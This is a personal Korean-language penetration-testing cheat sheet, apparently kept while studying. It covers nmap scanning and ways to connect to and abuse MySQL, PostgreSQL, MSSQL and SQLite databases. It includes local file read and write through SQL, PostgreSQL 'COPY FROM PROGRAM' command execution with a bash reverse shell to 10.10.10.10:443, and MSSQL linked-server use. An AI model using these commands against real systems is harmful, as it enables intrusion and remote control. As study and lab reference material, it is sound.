- 공부하며 기록한 개인용 치트시트
- 자주 헷갈리거나, 잊어버리는 내용 위주로 작성
Enumeration
Nmap
# tcp basic scan
nmap <IP> -p- --min-rate 1000 --max-retries 2 -Pn -n
# tcp detail scan
nmap <IP> -p <Port_List> -sCV -Pn -n
# udp basic scan
sudo nmap <IP> -p- --min-rate 1000 -sU
# udp detail scan
sudo nmap <IP> -p <Port_List> -sU -sCV
# script scan
nmap <IP> --script "http-vuln-*"SQL
MySQL
Connect
mysql -u <UserName> -p'<Password>' -h <Target_IP> -P [Port] --skip-ssl-verify-server-cert [db_name]
mysql -u root -p'root' -h 10.10.10.10. -P 3306 --skip-ssl-verify-server-certQuery Without interaction
mysql -u root -p'password' mysql_db -e "show databases;"Read Local File
SELECT LOAD_FILE('/path/to/file');Write to Local File
SELECT "example" INTO OUTFILE('C:\\path\\to\\file');PostgreSQL
Connect
psql -h <Target_IP> -p <Target_Port> -U <UserName>
psql -h 10.10.10.10 -p 5432 -U postgresQuery
\l => db 목록 확인
\c <db_name> => db 연결
\dt => 테이블 목록 확인
\! <Command> => 로컬 쉘 커맨드 실행Code Execution
pg_execute_server_program권한을 보유한 경우, 현재 로그인한 계정의 권한으로 코드 실행이 가능하다.- PostgreSQL
# 권한 확인
SELECT pg_has_role('<로그인_계정>', 'pg_execute_server_program', 'member');
# 테이블 생성
CREATE TABLE exploit (result text);
# 코드 실행
COPY exploit FROM PROGRAM 'id';
COPY exploit FROM PROGRAM '/bin/bash -c "/bin/bash -i >&/dev/tcp/10.10.10.10/443 0>&1"';
# 결과(output) 확인
SELECT * FROM exploit;MSSQL
Connect
mssqlclient.py <UserName>:<Password>@<Target_IP> -windows-auth-windwos-auth: Windows 계정 인증방식.- Windows 계정(도메인/로컬) 사용하여 로그인
- Kerberos / NTLM 기반 인증
Pass-the-Hash가능
- without
-windows-auth: SQL 서버 인증방식.- DB 내부 계정 사용 (
sa,db_admin등..)
- DB 내부 계정 사용 (
Syntax
# db 목록 조회
enum_db
# db 선택
use database_name;
# 현재 선택된 DB에서 테이블 목록 확인
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE';
# 테이블 구조 확인 (MySQL의 describe와 유사)
EXEC sp_columns <Table_Name>;
# 링크 목록 조회
enum_links
# 링크 사용 (dns 매핑되어 있어야함)
use_link "SRV_NAME_HERE"Sqlite3
sqlite3 dbfile.db.db를 로컬로 다운로드 후 사용